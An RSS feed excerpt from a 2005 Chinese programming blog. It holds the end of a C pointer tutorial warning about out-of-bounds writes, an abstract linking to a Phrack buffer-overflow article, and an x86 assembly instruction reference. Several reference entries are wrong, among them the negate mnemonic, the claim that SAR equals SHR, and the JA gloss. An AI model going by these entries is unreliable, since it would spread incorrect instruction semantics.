<BR>TYPE *ptr;//TYPE是int，char或结构类型等等类型。 <BR>... <BR>... <BR>a=某个数，这个数必须代表一个合法的地址； <BR>ptr=(TYPE*)a；//呵呵，这就可以了。 <BR>严格说来这里的(TYPE*)和指针类型转换中的(TYPE*)还不一样。这里的(TYP <BR>E*)的意思是把无符号整数a的值当作一个地址来看待。 <BR>上面强调了a的值必须代表一个合法的地址，否则的话，在你使用ptr的时候 <BR>，就会出现非法操作错误。 <BR><BR>想想能不能反过来，把指针指向的地址即指针的值当作一个整数取出来。完 <BR>全可以。下面的例子演示了把一个指针的值当作一个整数取出来，然后再把这个 <BR>整数当作一个地址赋给一个指针： <BR>例十六： <BR>int a=123,b; <BR>int *ptr=&amp;a; <BR>char *str; <BR>b=(int)ptr;//把指针ptr的值当作一个整数取出来。 <BR>str=(char*)b;//把这个整数的值当作一个地址赋给指针str。 <BR><BR>好了，现在我们已经知道了，可以把指针的值当作一个整数取出来，也可以 <BR>把一个整数值当作地址赋给一个指针。 <BR><BR>第九章。指针的安全问题 <BR><BR><BR>看下面的例子： <BR>例十七： <BR>char s=’a’; <BR>int *ptr; <BR>ptr=(int*)&amp;s; <BR>*ptr=1298； <BR>指针ptr是一个int*类型的指针，它指向的类型是int。它指向的地址就是s的 <BR>首地址。在32位程序中，s占一个字节，int类型占四个字节。最后一条语句不但 <BR>改变了s所占的一个字节，还把和s相临的高地址方向的三个字节也改变了。这三 <BR>个字节是干什么的？只有编译程序知道，而写程序的人是不太可能知道的。也许 <BR>这三个字节里存储了非常重要的数据，也许这三个字节里正好是程序的一条代码 <BR>，而由于你对指针的马虎应用，这三个字节的值被改变了！这会造成崩溃性的错 <BR>误。 <BR>让我们再来看一例： <BR>例十八： <BR>1。 char a; <BR>2。 int *ptr=&amp;a; <BR>... <BR>... <BR>3。 ptr++; <BR>4。 *ptr=115; <BR>该例子完全可以通过编译，并能执行。但是看到没有？第3句对指针ptr进行 <BR>自加1运算后，ptr指向了和整形变量a相邻的高地址方向的一块存储区。这块存储 <BR>区里是什么？我们不知道。有可能它是一个非常重要的数据，甚至可能是一条代 <BR>码。而第4句竟然往这片存储区里写入一个数据！这是严重的错误。所以在使用指 <BR>针时，程序员心里必须非常清楚：我的指针究竟指向了哪里。 <BR>在用指针访问数组的时候，也要注意不要超出数组的低端和高端界限，否则 <BR>也会造成类似的错误。 <BR>在指针的强制类型转换：ptr1=(TYPE*)ptr2中，如果sizeof(ptr2的类型)大 <BR>于sizeof(ptr1的类型)，那么在使用指针ptr1来访问ptr2所指向的存储区时是安 <BR>全的。如果sizeof(ptr2的类型)小于sizeof(ptr1的类型)，那么在使用指针ptr1 <BR>来访问ptr2所指向的存储区时是不安全的。至于为什么，读者结合例十七来想一 <BR>想，应该会明白的。 <BR><img src ="http://www.blogjava.net/RR00/aggbug/23255.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/RR00/" target="_blank">R.Zeus</a> 2005-12-10 12:57 <a href="http://www.blogjava.net/RR00/articles/23255.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>缓冲区溢出的原理和实践(Phrack) </title><link>http://www.blogjava.net/RR00/articles/23246.html</link><dc:creator>R.Zeus</dc:creator><author>R.Zeus</author><pubDate>Sat, 10 Dec 2005 03:11:00 GMT</pubDate><guid>http://www.blogjava.net/RR00/articles/23246.html</guid><wfw:comment>http://www.blogjava.net/RR00/comments/23246.html</wfw:comment><comments>http://www.blogjava.net/RR00/articles/23246.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/RR00/comments/commentRss/23246.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/RR00/services/trackbacks/23246.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: '践踏堆栈'[C语言编程] n. 在许多C语言的实现中,有可能通过写入例程&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 中所声明的数组的结尾部分来破坏可执行的堆栈.所谓'践踏堆栈'使用的&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 代码可以造成例程的返回异常,从而跳到任意的地址.这导致了一些极为&nbsp;&nbsp;...&nbsp;&nbsp;<a href='http://www.blogjava.net/RR00/articles/23246.html'>阅读全文</a><img src ="http://www.blogjava.net/RR00/aggbug/23246.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/RR00/" target="_blank">R.Zeus</a> 2005-12-10 11:11 <a href="http://www.blogjava.net/RR00/articles/23246.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>汇编指令</title><link>http://www.blogjava.net/RR00/articles/23222.html</link><dc:creator>R.Zeus</dc:creator><author>R.Zeus</author><pubDate>Fri, 09 Dec 2005 14:05:00 GMT</pubDate><guid>http://www.blogjava.net/RR00/articles/23222.html</guid><wfw:comment>http://www.blogjava.net/RR00/comments/23222.html</wfw:comment><comments>http://www.blogjava.net/RR00/articles/23222.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/RR00/comments/commentRss/23222.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/RR00/services/trackbacks/23222.html</trackback:ping><description><![CDATA[<P><FONT color=#333333>数据传输指令 <BR>─────────────────────────────────────── <BR>&nbsp;&nbsp;&nbsp;&nbsp;它们在存贮器和寄存器、寄存器和输入输出端口之间传送数据. <BR>&nbsp;&nbsp;&nbsp;&nbsp;1. 通用数据传送指令. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MOV&nbsp;&nbsp;&nbsp;&nbsp;传送字或字节. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MOVSX&nbsp;&nbsp;先符号扩展,再传送. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MOVZX&nbsp;&nbsp;先零扩展,再传送. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;PUSH&nbsp;&nbsp;&nbsp;&nbsp;把字压入堆栈. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;POP&nbsp;&nbsp;&nbsp;&nbsp;把字弹出堆栈. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;PUSHA&nbsp;&nbsp;把AX,CX,DX,BX,SP,BP,SI,DI依次压入堆栈. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;POPA&nbsp;&nbsp;&nbsp;&nbsp;把DI,SI,BP,SP,BX,DX,CX,AX依次弹出堆栈. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;PUSHAD&nbsp;&nbsp;把EAX,ECX,EDX,EBX,ESP,EBP,ESI,EDI依次压入堆栈. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;POPAD&nbsp;&nbsp;把EDI,ESI,EBP,ESP,EBX,EDX,ECX,EAX依次弹出堆栈. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;BSWAP&nbsp;&nbsp;交换32位寄存器里字节的顺序 <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;XCHG&nbsp;&nbsp;&nbsp;&nbsp;交换字或字节.( 至少有一个操作数为寄存器,段寄存器不可作为操作数) <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CMPXCHG 比较并交换操作数.( 第二个操作数必须为累加器AL/AX/EAX ) <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;XADD&nbsp;&nbsp;&nbsp;&nbsp;先交换再累加.( 结果在第一个操作数里 ) <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;XLAT&nbsp;&nbsp;&nbsp;&nbsp;字节查表转换. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;── BX 指向一张 256 字节的表的起点, AL 为表的索引值 (0-255,即 <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0-FFH); 返回 AL 为查表结果. ( [BX+AL]-&gt;AL ) <BR>&nbsp;&nbsp;&nbsp;&nbsp;2. 输入输出端口传送指令. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;IN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;I/O端口输入. ( 语法: IN 累加器, {端口号│DX} ) <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;OUT&nbsp;&nbsp;&nbsp;&nbsp;I/O端口输出. ( 语法: OUT {端口号│DX},累加器 ) <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;输入输出端口由立即方式指定时, 其范围是 0-255; 由寄存器 DX 指定时, <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;其范围是 0-65535. <BR>&nbsp;&nbsp;&nbsp;&nbsp;3. 目的地址传送指令. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;LEA&nbsp;&nbsp;&nbsp;&nbsp;装入有效地址. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;例: LEA DX,string&nbsp;&nbsp;;把偏移地址存到DX. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;LDS&nbsp;&nbsp;&nbsp;&nbsp;传送目标指针,把指针内容装入DS. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;例: LDS SI,string&nbsp;&nbsp;;把段地址:偏移地址存到DS:SI. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;LES&nbsp;&nbsp;&nbsp;&nbsp;传送目标指针,把指针内容装入ES. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;例: LES DI,string&nbsp;&nbsp;;把段地址:偏移地址存到ES:DI. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;LFS&nbsp;&nbsp;&nbsp;&nbsp;传送目标指针,把指针内容装入FS. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;例: LFS DI,string&nbsp;&nbsp;;把段地址:偏移地址存到FS:DI. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;LGS&nbsp;&nbsp;&nbsp;&nbsp;传送目标指针,把指针内容装入GS. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;例: LGS DI,string&nbsp;&nbsp;;把段地址:偏移地址存到GS:DI. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;LSS&nbsp;&nbsp;&nbsp;&nbsp;传送目标指针,把指针内容装入SS. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;例: LSS DI,string&nbsp;&nbsp;;把段地址:偏移地址存到SS:DI. <BR>&nbsp;&nbsp;&nbsp;&nbsp;4. 标志传送指令. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;LAHF&nbsp;&nbsp;&nbsp;&nbsp;标志寄存器传送,把标志装入AH. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SAHF&nbsp;&nbsp;&nbsp;&nbsp;标志寄存器传送,把AH内容装入标志寄存器. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;PUSHF&nbsp;&nbsp;标志入栈. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;POPF&nbsp;&nbsp;&nbsp;&nbsp;标志出栈. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;PUSHD&nbsp;&nbsp;32位标志入栈. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;POPD&nbsp;&nbsp;&nbsp;&nbsp;32位标志出栈. <BR><BR>二、算术运算指令 <BR>─────────────────────────────────────── <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;　　ADD&nbsp;&nbsp;&nbsp;&nbsp;加法. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ADC&nbsp;&nbsp;&nbsp;&nbsp;带进位加法. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;INC&nbsp;&nbsp;&nbsp;&nbsp;加 1. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;AAA&nbsp;&nbsp;&nbsp;&nbsp;加法的ASCII码调整. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;DAA&nbsp;&nbsp;&nbsp;&nbsp;加法的十进制调整. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SUB&nbsp;&nbsp;&nbsp;&nbsp;减法. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SBB&nbsp;&nbsp;&nbsp;&nbsp;带借位减法. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;DEC&nbsp;&nbsp;&nbsp;&nbsp;减 1. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NEC&nbsp;&nbsp;&nbsp;&nbsp;求反(以 0 减之). <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CMP&nbsp;&nbsp;&nbsp;&nbsp;比较.(两操作数作减法,仅修改标志位,不回送结果). <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;AAS&nbsp;&nbsp;&nbsp;&nbsp;减法的ASCII码调整. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;DAS&nbsp;&nbsp;&nbsp;&nbsp;减法的十进制调整. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MUL&nbsp;&nbsp;&nbsp;&nbsp;无符号乘法. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;IMUL&nbsp;&nbsp;&nbsp;&nbsp;整数乘法. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;以上两条,结果回送AH和AL(字节运算),或DX和AX(字运算), <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;AAM&nbsp;&nbsp;&nbsp;&nbsp;乘法的ASCII码调整. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;DIV&nbsp;&nbsp;&nbsp;&nbsp;无符号除法. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;IDIV&nbsp;&nbsp;&nbsp;&nbsp;整数除法. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;以上两条,结果回送: <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;商回送AL,余数回送AH, (字节运算); <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;或&nbsp;&nbsp;商回送AX,余数回送DX, (字运算). <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;AAD&nbsp;&nbsp;&nbsp;&nbsp;除法的ASCII码调整. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CBW&nbsp;&nbsp;&nbsp;&nbsp;字节转换为字. (把AL中字节的符号扩展到AH中去) <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CWD&nbsp;&nbsp;&nbsp;&nbsp;字转换为双字. (把AX中的字的符号扩展到DX中去) <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CWDE&nbsp;&nbsp;&nbsp;&nbsp;字转换为双字. (把AX中的字符号扩展到EAX中去) <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CDQ&nbsp;&nbsp;&nbsp;&nbsp;双字扩展.&nbsp;&nbsp;&nbsp;&nbsp;(把EAX中的字的符号扩展到EDX中去) <BR><BR>三、逻辑运算指令 <BR>─────────────────────────────────────── <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;　　AND&nbsp;&nbsp;&nbsp;&nbsp;与运算. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;OR&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;或运算. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;XOR&nbsp;&nbsp;&nbsp;&nbsp;异或运算. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NOT&nbsp;&nbsp;&nbsp;&nbsp;取反. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;TEST&nbsp;&nbsp;&nbsp;&nbsp;测试.(两操作数作与运算,仅修改标志位,不回送结果). <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SHL&nbsp;&nbsp;&nbsp;&nbsp;逻辑左移. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SAL&nbsp;&nbsp;&nbsp;&nbsp;算术左移.(=SHL) <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SHR&nbsp;&nbsp;&nbsp;&nbsp;逻辑右移. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SAR&nbsp;&nbsp;&nbsp;&nbsp;算术右移.(=SHR) <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ROL&nbsp;&nbsp;&nbsp;&nbsp;循环左移. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ROR&nbsp;&nbsp;&nbsp;&nbsp;循环右移. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;RCL&nbsp;&nbsp;&nbsp;&nbsp;通过进位的循环左移. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;RCR&nbsp;&nbsp;&nbsp;&nbsp;通过进位的循环右移. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;以上八种移位指令,其移位次数可达255次. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;移位一次时, 可直接用操作码.&nbsp;&nbsp;如 SHL AX,1. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;移位&gt;1次时, 则由寄存器CL给出移位次数. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;如&nbsp;&nbsp;MOV CL,04 <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SHL AX,CL <BR><BR>四、串指令 <BR>─────────────────────────────────────── <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;　DS:SI&nbsp;&nbsp;源串段寄存器&nbsp;&nbsp;:源串变址. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ES:DI&nbsp;&nbsp;目标串段寄存器:目标串变址. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CX&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;重复次数计数器. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;AL/AX&nbsp;&nbsp;扫描值. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;D标志&nbsp;&nbsp;0表示重复操作中SI和DI应自动增量; 1表示应自动减量. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Z标志&nbsp;&nbsp;用来控制扫描或比较操作的结束. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MOVS&nbsp;&nbsp;&nbsp;&nbsp;串传送. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;( MOVSB&nbsp;&nbsp;传送字符.&nbsp;&nbsp;&nbsp;&nbsp;MOVSW&nbsp;&nbsp;传送字.&nbsp;&nbsp;&nbsp;&nbsp;MOVSD&nbsp;&nbsp;传送双字. ) <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CMPS&nbsp;&nbsp;&nbsp;&nbsp;串比较. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;( CMPSB&nbsp;&nbsp;比较字符.&nbsp;&nbsp;&nbsp;&nbsp;CMPSW&nbsp;&nbsp;比较字. ) <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SCAS&nbsp;&nbsp;&nbsp;&nbsp;串扫描. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;把AL或AX的内容与目标串作比较,比较结果反映在标志位. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;LODS&nbsp;&nbsp;&nbsp;&nbsp;装入串. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;把源串中的元素(字或字节)逐一装入AL或AX中. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;( LODSB&nbsp;&nbsp;传送字符.&nbsp;&nbsp;&nbsp;&nbsp;LODSW&nbsp;&nbsp;传送字.&nbsp;&nbsp;&nbsp;&nbsp;LODSD&nbsp;&nbsp;传送双字. ) <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;STOS&nbsp;&nbsp;&nbsp;&nbsp;保存串. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;是LODS的逆过程. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;REP&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;当CX/ECX&lt;&gt;0时重复. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;REPE/REPZ&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;当ZF=1或比较结果相等,且CX/ECX&lt;&gt;0时重复. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;REPNE/REPNZ&nbsp;&nbsp;&nbsp;&nbsp;当ZF=0或比较结果不相等,且CX/ECX&lt;&gt;0时重复. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;REPC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;当CF=1且CX/ECX&lt;&gt;0时重复. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;REPNC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;当CF=0且CX/ECX&lt;&gt;0时重复. <BR><BR>五、程序转移指令 <BR>─────────────────────────────────────── <BR>&nbsp;&nbsp;&nbsp;&nbsp;　1&gt;无条件转移指令 (长转移) <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;JMP&nbsp;&nbsp;&nbsp;&nbsp;无条件转移指令 <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CALL&nbsp;&nbsp;&nbsp;&nbsp;过程调用 <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;RET/RETF过程返回. <BR>&nbsp;&nbsp;&nbsp;&nbsp;2&gt;条件转移指令 (短转移,-128到+127的距离内) <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;( 当且仅当(SF XOR OF)=1时,OP1<OP2 <br )> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;JA/JNBE 不小于或不等于时转移. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;JAE/JNB 大于或等于转移. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;JB/JNAE 小于转移. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;JBE/JNA 小于或等于转移. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;以上四条,测试无符号整数运算的结果(标志C和Z). <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;JG/JNLE 大于转移. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;JGE/JNL 大于或等于转移. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;JL/JNGE 小于转移. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;JLE/JNG 小于或等于转移. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;以上四条,测试带符号整数运算的结果(标志S,O和Z). <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;JE/JZ&nbsp;&nbsp;等于转移. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;JNE/JNZ 不等于时转移. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;JC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;有进位时转移. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;JNC&nbsp;&nbsp;&nbsp;&nbsp;无进位时转移. 